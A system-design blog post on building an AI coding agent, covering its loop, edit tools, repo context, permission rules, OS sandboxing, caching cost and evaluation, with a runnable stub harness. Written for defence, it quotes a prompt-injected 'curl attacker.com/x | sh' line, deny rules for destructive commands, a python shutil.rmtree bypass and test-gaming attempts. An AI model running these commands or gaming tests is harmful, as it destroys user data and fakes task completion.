GyaanStack. Blog

Articles / agentsgenai-system-design

Design an AI coding agent: the loop, tools, edits, sandbox and evals

How an AI coding agent like Claude Code or Codex CLI works inside: the agent loop, edit formats, repo context, sandboxing, verification, cost per task and evals.

By Raghunath · · 22 min read

A coding agent is a model in a loop with four kinds of tools: read, search, edit and run. Claude Code, Codex CLI, Cursor's agent and Aider all fit that description. The model call is the easy part. The design work sits around it: how an edit lands in a file without breaking it, how a 40,000-file repo fits in one context window, what stops rm -rf from running, and who decides the task is done.

Most write-ups draw the loop, list the tools and stop. This post covers the rest: edit formats, cost math for one task with prompt caching on and off, the permission and sandbox layers, failure modes, and evaluation now that SWE-bench Verified has known problems. A small runnable example at the end shows the guard rails working.

Scope and requirements#

I am designing a local agent that runs in a developer's terminal or IDE against their checkout. A cloud agent on a throwaway VM shares most of this design; its sandbox problem is easier and nobody is watching it.

Functional requirements:

  • Read and search any file in the repo, and edit several files in one task.
  • Run the project's tests, linters and build, and read the output.
  • Ask the user before risky actions, with rules the user can save.
  • Undo the agent's edits back to any earlier turn.
  • Resume a session after the terminal closes.
  • Follow project instructions kept in the repo (CLAUDE.md, AGENTS.md).

Non-functional requirements are where the design choices come from:

Requirement What it means here
Safety No destructive command or edit outside the workspace without consent
Privacy The user knows what leaves the machine: file contents sent to the model API, and nothing else unless allowed
Recoverability Every edit can be reverted; a crash loses at most one turn
Responsiveness First token in a second or two; stream tool calls so the user sees progress
Cost Cents to a few dollars per task, predictable before the task starts

There is no QPS number, since one developer runs one session. I size against the context window, cost per task and wall-clock time per task instead.

The architecture#

  user prompt (terminal / IDE)
          │
          ▼
  ┌─────────────────────── AGENT LOOP ───────────────────────┐
  │        gather → act → verify, until a stop rule fires    │
  │                                                          │
  │  ┌──────────────────┐  request   ┌──────────────────┐    │
  │  │ context manager  │──────────▶ │ model client     │    │
  │  │ instructions,    │            │ stream, retry,   │    │
  │  │ history, compact │            │ cache breakpoints│    │
  │  └──────────────────┘            └────────┬─────────┘    │
  │           ▲                               │ tool calls   │
  │           │ tool results                  ▼              │
  │           │                      ┌──────────────────┐    │
  │           └───────────────────── │ tool router      │    │
  │                                  │ validate,truncate│    │
  │                                  └────────┬─────────┘    │
  │                                           ▼              │
  │                                  ┌──────────────────┐    │
  │                                  │ permission gate  │    │
  │                                  │ deny > ask >allow│    │
  │                                  └──┬──────┬─────┬──┘    │
  └─────────────────────────────────────┼──────┼─────┼───────┘
                                        ▼      ▼     ▼
                             read/grep/glob  edit   shell
                                              │      │
                                   checkpoint ┘      └ OS sandbox
                                   store               (fs + network)

  session log on disk: turns, tool calls, results, checkpoints

The context manager builds every request and decides when to compact. The model client owns streaming, retries on 429 and 5xx, and cache breakpoints. The tool router validates arguments and truncates output. The permission gate and the sandbox are separate on purpose, for reasons covered below.

The data model#

The session log is the source of truth. If it is append-only and written before each tool runs, resume is a replay.

Session      id, repo_root, model, permission_mode, created_at
Turn         session_id, n, role (user|assistant), content, usage{in, cache_read, cache_write, out}
ToolCall     turn_id, call_id, tool, args_json, decision (allow|ask|deny), started_at
ToolResult   call_id, exit_code, output (truncated), truncated_bytes
Checkpoint   turn_id, path, sha_before, blob_ref
Rule         scope (user|project|managed), kind (deny|ask|allow), pattern
Instructions path (CLAUDE.md / AGENTS.md), sha, loaded_at

usage on every turn gives cost per task for free. truncated_bytes tells you in a post-mortem that the model never saw the error it was blamed for missing. Project instructions (AGENTS.md, or Claude Code's CLAUDE.md) load into the system prompt at session start, so they are the cheapest place for "run make test, never touch migrations/", and they sit in the cached prefix.

The loop: gather, act, verify#

Anthropic describes Claude Code's loop as gather context, take action, verify results, repeated until the task is done. The loop itself is short. The stop rules are what you have to design.

while True:
    reply = model(context)                 # streams text and tool calls
    if reply has no tool calls: break      # model says it is done
    for call in reply.tool_calls:
        decision = gate(call)              # deny / ask / allow
        result = run(call) if allowed else refusal_message
        context.append(call, result)
    if stop_rule_hit(context): break       # budget, repeats, wall clock

Stop rules I would ship with:

Rule Default Why
Max model turns per task 50 Caps cost; long tails rarely succeed
Same tool call with same args 2 repeats Catches the "rerun the failing test" loop
Same test failing after N edits 3 The approach is wrong; stop and report
Token budget per task e.g. 2M input tokens Hard money cap
Wall clock 20 minutes interactive The user has left

"The model stopped calling tools" is a weak signal of done. The verifier (tests, type checker, linter) is a stronger one, and the agent runtime should run it once more after the model says it is finished.

The tool set#

Fewer, sharper tools beat many overlapping ones. The SWE-agent paper made this point with its "agent-computer interface": a purpose-built file viewer, search and editor with guard rails raised solve rates over a raw shell. A workable set:

Tool Notes
read(path, offset, limit) Line-numbered output, ranges for large files
glob(pattern) Find files by name
grep(pattern, path) ripgrep under the hood, capped matches
edit(path, old, new) Exact-match replace, details below
write(path, content) New files only, or full rewrites the user approves
bash(cmd, timeout) Tests, builds, git; output tail-truncated
task(prompt) Spawn a subagent with its own context

Truncate from the head and keep the tail. A failing test run puts the useful part (the assertion and stack trace) at the end, and 4,000 lines of passing-test noise ahead of it can fill a quarter of the window.

How edits are applied#

Edit format affects reliability more than any other tool choice. Aider documents the three formats in use:

Format Model emits Output tokens Failure mode
Whole file The full new file Highest: a 600-line file is ~6k tokens for a one-line fix Lazy elision ("rest unchanged"), silent deletions
Unified diff @@ hunks with line numbers Low Wrong line numbers and context; patch fails to apply
Search/replace (exact string) Old text and new text Low Old text not found, or found twice

Anthropic's text editor tool uses exact-match replace: str_replace takes old_str and new_str, and old_str must match exactly, whitespace included, at one location. I prefer it for how it fails. If the file changed since the model read it, or the snippet is ambiguous, the tool returns an error, changes nothing, and the model rereads. A unified diff with a stale line number can apply cleanly to the wrong place, and a whole-file rewrite can drop a function nobody asked to touch.

Rules for the edit tool:

  1. Refuse when the match count is not exactly 1, and say how many matches there were.
  2. Require a read of the file in this session before the first edit, and refuse if the file's hash changed since that read. This catches edits based on a stale view.
  3. Snapshot the file into the checkpoint store before writing.
  4. Run a formatter or syntax check after the write and return its output with the result.

Whole-file writes are still right for new files and for small files where a rewrite is shorter than three replace calls.

Context on a large repo#

A 40,000-file repo is far bigger than any context window. Two strategies compete.

Just-in-time search. The model calls glob and grep, reads the hits, and follows imports. Nothing is precomputed. Claude Code works this way, and Anthropic's context engineering post argues for it: keep lightweight references (paths, queries) and load data at runtime.

An index. Embed chunks of every file into a vector store, or build a symbol map like Aider's repo map, which ranks definitions with a graph over the repo and sends a compact summary.

Grep / glob on demand Embeddings index
Freshness Always current Stale after every edit until reindexed
Exact identifiers Precise Fuzzy; can miss get_user_v2 for get_user
Concept queries ("where is auth handled") Needs several guesses Good
Setup None Indexing job, storage, and code leaving the machine if hosted
Cost per query A few tool calls One embedding call plus a lookup

My default is grep first. Code is full of exact names, the agent is editing the files it searches, and an index that is wrong after the first edit is worse than none. An index starts to pay off on very large monorepos where the agent cannot guess names, and even then I would use it to suggest files and still read them fresh.

Compaction. By turn 30 the window is full of stale file reads, old test output and dead ends. Past a threshold (say 75% of the window), summarize the history into a state block: goal, files changed, decisions, what still fails. Keep the system prompt and instructions verbatim. Clear old tool results first, since the model can re-read a file; Anthropic's post calls tool-result clearing one of the lightest forms of compaction. Compaction breaks the prompt cache for everything after the change, so do it rarely.

Subagents#

A subagent is a second loop with its own context window that returns only a summary. Claude Code uses subagents for side tasks that would flood the main conversation with search results or logs, and its built-in Explore subagent is read-only. A search like "find every caller of charge_card and say which pass a currency" might read 60,000 tokens of code and hand the parent 800. Give search subagents no edit tools, never let two subagents edit the same files, and cap their turns separately. Subagents cost more tokens in total; they save the parent's context and wall-clock time. My multi-agent patterns post covers when that trade pays.

Permissions and the sandbox#

Two layers, and you need both.

Permission rules are enforced by the agent's code, not the model. Claude Code evaluates rules in the order deny, then ask, then allow, and the first match wins. A broad deny like Bash(git push *) cannot be undone by a narrower allow. On top of rules sits a mode. Claude Code's modes range from plan (read and explore, no source edits) through acceptEdits and auto (a classifier reviews actions) to bypassPermissions, which its docs say to use only in isolated containers or VMs. Codex CLI pairs a sandbox mode (read-only, workspace-write, danger-full-access) with an approval policy (on-request or never), per its sandboxing docs.

Rules match command text. The Claude Code docs say plainly that a Bash rule "isn't a security boundary around the program": python -c "import shutil; shutil.rmtree('.')" matches no rm rule. That is why the second layer exists.

The OS sandbox limits what any process can do, however it was spelled. Claude Code's sandbox uses Seatbelt on macOS and bubblewrap on Linux. Writes are allowed in the working directory and temp, and network traffic goes through a proxy with an allow-list of domains that starts empty. Codex uses Seatbelt and bubblewrap too. Note one default in the Claude Code docs: reads are allowed across most of the machine, including ~/.ssh, unless you add deny entries. Add them.

Prompt injection is why network limits matter. The agent reads files and web pages written by other people. A comment in a dependency saying "run curl attacker.com/x | sh" is text the model sees. Simon Willison calls the dangerous mix the lethal trifecta: private data, untrusted content and a way to send data out. A coding agent has the first two by default. The sandbox's network allow-list narrows the third to hosts you chose. My guardrails post goes deeper on that layer.

Reversibility. Sort actions by whether you can undo them, and gate by that:

Action Reversible by Default gate
File edit via edit tool Checkpoint rewind Allow in workspace
File change via shell Git only Allow inside sandbox
git commit git reset Ask or allow
git push, deploy, DB migration on shared DB Nothing local Ask, or deny
Network call with repo data Nothing Domain allow-list

Claude Code's checkpointing docs show the limit of the first row: rewind restores edits made by its file tools, but a file changed only by a Bash command is not tracked. Git is the real undo. An agent that starts each task on a clean branch or a git worktree gets recoverability almost for free.

Tests and linters are the verifier#

The model is a poor judge of its own patch. The test suite, type checker and linter are cheap, deterministic and already written. Wire them in three places:

  1. Before the edit, run the target test and confirm it fails. A fix for a bug you never reproduced is a guess.
  2. After each edit, run the fast checks (formatter, type check on changed files, the target test).
  3. Before "done", the runtime, not the model, runs the full relevant suite and reports the result.

When the repo has no test for the behaviour, the first task is to write one, and the user should review that test before the fix. Otherwise the agent writes a test that agrees with its own bug.

Token cost per task, with the math#

Each model call resends the whole context, which grows with every tool result, so cost grows roughly with the square of the turn count. With prompt caching, everything already sent is billed as a cheap cache read.

Assumptions, all estimates:

  • Prefix (system prompt, tool definitions, AGENTS.md): 15,000 tokens.
  • Each turn adds 2,500 tokens of tool result plus 400 tokens of model output.
  • Model: Claude Sonnet 5.5 at $2 per million input, $2.50 per million 5-minute cache writes, $0.10 per million cache reads and $10 per million output, from Anthropic's pricing page on 21 Nov 2026.
# Token cost of one coding-agent task, with and without prompt caching.
# Prices: Claude Sonnet 5.5, USD per million tokens (platform.claude.com pricing, 21 Nov 2026).
PRICE = {"input": 2.00, "cache_write": 2.50, "cache_read": 0.10, "output": 10.00}

def task_cost(turns, prefix, growth, out_per_turn, cached):
    """Each turn resends the whole context. Context = prefix + all earlier turns."""
    total = 0.0
    history = 0
    for turn in range(turns):
        context = prefix + history
        new = growth + out_per_turn          # this turn's tool result + model output
        if cached:
            # everything sent before is a cache read; the new tail is a cache write
            if turn == 0:   # first call writes the system prompt + tools to cache
                total += context * PRICE["cache_write"] / 1e6
            else:
                total += context * PRICE["cache_read"] / 1e6
            total += new * PRICE["cache_write"] / 1e6   # tail gets cached for next turn
        else:
            total += (context + growth) * PRICE["input"] / 1e6
        total += out_per_turn * PRICE["output"] / 1e6
        history += new
    return total, prefix + history

for turns in (10, 30, 60):
    c0, final = task_cost(turns, prefix=15_000, growth=2_500, out_per_turn=400, cached=False)
    c1, _ = task_cost(turns, prefix=15_000, growth=2_500, out_per_turn=400, cached=True)
    print(f"{turns:>3} turns  final context {final:>7,}  no cache ${c0:5.2f}  cached ${c1:5.2f}")

Output:

 10 turns  final context  44,000  no cache $ 0.65  cached $ 0.18
 30 turns  final context 102,000  no cache $ 3.69  cached $ 0.54
 60 turns  final context 189,000  no cache $12.61  cached $ 1.31

Check the 30-turn cached figure by hand. Cache reads: turns 2 to 30 resend 15,000 plus 2,900 per earlier turn, which sums to about 1.70M tokens, or $0.17. Cache writes: the 15,000 prefix plus 30 tails of 2,900 is 102,000 tokens, or $0.26. Output: 12,000 tokens, $0.12. Total about $0.54.

What the numbers say:

  • Caching cuts this task's cost by about 7x at 30 turns and 10x at 60. Without it, cost climbs with the square of the turn count, so a 60-turn session costs 19x a 10-turn one.
  • Anything that changes the prefix breaks the cache. The prompt caching docs build the prefix in the order tools, system, messages, so editing a tool definition mid-session invalidates everything. Keep tool lists and instructions fixed for the session, and put the timestamp, git status and other changing text after them.
  • The 5-minute cache lifetime matters when a human is in the loop. A user who reads a diff for six minutes pays a fresh write on the next turn. A 1-hour TTL costs 2x on writes and can be worth it for interactive sessions.
  • At 60 turns the context is 189,000 tokens; compaction or a subagent should have stepped in well before that.
  • Real tool results vary from 50 tokens to 20,000, so treat these as estimates.

Failure modes#

Failure What it looks like Guard
Edit drift Edits based on a stale read; patch lands in the wrong function; file slowly diverges from what the model believes Exact-match replace, hash check against last read, reread on error
Looping Reruns the same failing test, or flips between two fixes Repeat detector on (tool, args), max edits per failing test, then stop and report
Test gaming Deletes the failing assertion, adds skip, special-cases the test input Deny edits to test files during a fix task, or diff-review them; run hidden or held-out tests
Destructive commands rm -rf, git reset --hard, git push --force, dropping a dev database Deny rules, OS sandbox, clean branch per task
Context rot At turn 40 the model forgets a constraint from turn 2 Instructions in the system prompt, compaction that keeps decisions, subagents for search
Scope creep Asked to fix one bug, reformats 30 files Diff-size budget; ask when changed lines exceed a threshold

Test gaming deserves a second look, because it passes your verifier. The agent's goal is "tests pass", and deleting a test meets it. Anthropic's Claude Code best practices tell you to give the agent a check to run before anything counts as done. That check also has to sit out of the model's reach.

A small working example#

The script below has a permission gate, an exact-match edit tool, a repeat guard and a final verifier. The model is a stub: a scripted list of tool calls that includes a stale edit, an attempt to edit the test, a destructive command and a loop. It runs with python3 and no API key. I ran it on the code shown.

"""A tiny coding-agent harness: tool router, permission gate, exact-match edits,
a loop guard and a test verifier. The model is a STUB (a scripted list of tool
calls) so this runs without an API key."""
import fnmatch, json, pathlib, subprocess, sys, tempfile

# ---- permission gate: deny first, then ask, then allow; anything else asks ----
RULES = {
    "deny":  ["bash:rm -rf *", "bash:git push *", "edit:.env*", "edit:tests/*"],
    "ask":   ["bash:pip install *"],
    "allow": ["read:*", "grep:*", "edit:*", "bash:python3 tests/*"],
}
def gate(tool, arg):
    key = f"{tool}:{arg}"
    for decision in ("deny", "ask", "allow"):
        if any(fnmatch.fnmatch(key, p) for p in RULES[decision]):
            return decision
    return "ask"

# ---- tools ----
def read(root, path):
    return (root / path).read_text()

def grep(root, pattern):
    hits = []
    for f in sorted(root.rglob("*.py")):
        for n, line in enumerate(f.read_text().splitlines(), 1):
            if pattern in line:
                hits.append(f"{f.relative_to(root)}:{n}: {line.strip()}")
    return "\n".join(hits) or "no matches"

def edit(root, path, old, new):
    f = root / path
    text = f.read_text()
    count = text.count(old)
    if count != 1:   # refuse ambiguous or stale edits instead of guessing
        return f"error: old string found {count} times in {path}; read the file again"
    f.write_text(text.replace(old, new))
    return "ok: replaced 1 occurrence"

def bash(root, cmd):
    r = subprocess.run(cmd, shell=True, cwd=root, capture_output=True, text=True, timeout=60)
    out = (r.stdout + r.stderr)[-2000:]          # truncate: tail holds the failure
    return f"exit={r.returncode}\n{out}"

TOOLS = {"read": read, "grep": grep, "edit": edit, "bash": bash}

# ---- stub model: what a real model might emit for "fix the discount bug" ----
SCRIPT = [
    ("grep", {"pattern": "def apply_discount"}),
    ("read", {"path": "shop.py"}),
    ("edit", {"path": "shop.py", "old": "price * pct", "new": "price * (1 - pct)"}),  # stale: 2 matches
    ("read", {"path": "shop.py"}),
    ("edit", {"path": "shop.py", "old": "def apply_discount(price, pct):\n    return price * pct",
              "new": "def apply_discount(price, pct):\n    return price * (1 - pct)"}),
    ("edit", {"path": "tests/test_shop.py", "old": "== 90", "new": "== 10"}),  # test gaming attempt
    ("bash", {"cmd": "rm -rf build"}),                                         # destructive
    ("bash", {"cmd": "python3 tests/test_shop.py"}),
    ("bash", {"cmd": "python3 tests/test_shop.py"}),
    ("bash", {"cmd": "python3 tests/test_shop.py"}),                                 # loop
]

def arg_of(tool, a):
    return a.get("cmd") or a.get("path") or a.get("pattern")

def run(root, max_steps=20, max_repeats=2):
    seen = {}
    for step, (tool, args) in enumerate(SCRIPT[:max_steps], 1):
        sig = json.dumps([tool, args], sort_keys=True)
        seen[sig] = seen.get(sig, 0) + 1
        if seen[sig] > max_repeats:
            print(f"{step:>2} STOP loop guard: same call {seen[sig]} times")
            break
        decision = gate(tool, arg_of(tool, args))
        if decision != "allow":
            print(f"{step:>2} {tool:<5} {decision.upper()}: {arg_of(tool, args)}")
            continue
        result = TOOLS[tool](root, **args)
        print(f"{step:>2} {tool:<5} {result.splitlines()[0]}")
    # the verifier decides "done", not the model
    final = bash(root, "python3 tests/test_shop.py")
    print("verifier:", "PASS" if final.startswith("exit=0") else "FAIL")

if __name__ == "__main__":
    root = pathlib.Path(tempfile.mkdtemp())
    (root / "tests").mkdir()
    (root / "shop.py").write_text(
        "def apply_discount(price, pct):\n    return price * pct\n\n"
        "def tax(price, pct):\n    return price * pct\n")
    (root / "tests" / "test_shop.py").write_text(
        "import sys, pathlib; sys.path.insert(0, str(pathlib.Path(__file__).parents[1]))\n"
        "from shop import apply_discount\n"
        "assert apply_discount(100, 0.10) == 90\nprint('1 passed')\n")
    run(root)

Output:

 1 grep  shop.py:1: def apply_discount(price, pct):
 2 read  def apply_discount(price, pct):
 3 edit  error: old string found 2 times in shop.py; read the file again
 4 read  def apply_discount(price, pct):
 5 edit  ok: replaced 1 occurrence
 6 edit  DENY: tests/test_shop.py
 7 bash  DENY: rm -rf build
 8 bash  exit=0
 9 bash  exit=0
10 STOP loop guard: same call 3 times
verifier: PASS

Step 3 is the edit-drift guard: price * pct appears in both apply_discount and tax, so the tool refuses instead of changing the tax function too. Step 6 blocks the test edit, and step 7 the delete. Step 10 stops the third identical test run. The pattern-matching gate here has the weakness described above: python3 -c with shutil.rmtree would get past it, which is why a real agent puts the shell inside an OS sandbox.

Evaluation#

SWE-bench and its Verified subset. SWE-bench takes real GitHub issues from Python repos and checks a patch against the tests from the fixing pull request. OpenAI's SWE-bench Verified (August 2024) had 93 developers screen 1,699 samples; 68.3% were filtered out, leaving 500 tasks. It became the headline number for coding agents.

Know its caveats before you quote a score. In February 2026 OpenAI published why it no longer evaluates on SWE-bench Verified. It audited 138 problems that o3 did not solve consistently and found 59.4% had material issues in test design or problem description, such as tests that reject correct fixes. It also found that frontier models could reproduce the original human-written fix for some tasks, which points to training contamination. OpenAI now recommends SWE-bench Pro instead. Other caveats hold for any version: it is Python only, one repo set, issue-to-patch only, and a score measures the model plus a harness, so two vendors' numbers with different scaffolds are not comparable.

Your own task set. A public benchmark helps you shortlist models. Whether the agent works on your repo needs 30 to 50 tasks from your own history:

  1. Pick closed bug-fix PRs that came with a test. Check out the parent commit, keep the issue text, hide the PR's test.
  2. Add a few feature tasks, a few refactors and two or three "this should be refused" tasks (push to main, edit a secrets file).
  3. Score each run on hidden tests passing, existing tests still passing, diff size against the human PR, turns, tokens, cost and any denied or risky calls.
  4. Run each task three or more times. Agents are not deterministic, and a 1-in-3 pass is a different product from 3-in-3.
  5. Rerun the set on every change to the system prompt, tool set, model or edit format.

My agent evaluation post has a harness for scoring runs like this.

Decision table#

Decision Choose this When Choose the other When
Edit format Exact-match replace Default for edits to existing files Whole-file write New files, or files under ~100 lines
Repo context Grep / glob on demand Most repos; code changes during the task Embeddings or symbol index Huge monorepo, concept queries, read-heavy tasks
Long sessions Compaction One thread of work that outgrew the window Subagents Search or analysis whose raw output the parent does not need
Undo Checkpoint rewind Edits made by the edit tool, within a session Git branch or worktree per task Shell-made changes, subagent edits, anything you keep
Permission mode Ask on writes and shell New repo, new user, shared machine Auto or bypass Disposable container or VM with no secrets
Done signal Tests run by the runtime Repo has tests Human review of diff No tests, or tests the agent wrote
Cache TTL 5 minutes Headless runs, fast turns 1 hour Interactive sessions with long human pauses
Benchmark Your own task set Shipping decisions SWE-bench Pro / public sets Shortlisting models

If I had to build one of these in a week, I would ship grep-based search, exact-match edits with a hash check, deny-first rules over a Seatbelt or bubblewrap sandbox, a branch per task, prompt caching from day one, and a 30-task eval set from my own merged PRs. Everything else can wait for the eval set to show a need for it. For the state and checkpoint side of agents that run for hours, see designing a long-running agent; for what an agent should remember across sessions, see agent memory design.

Sources#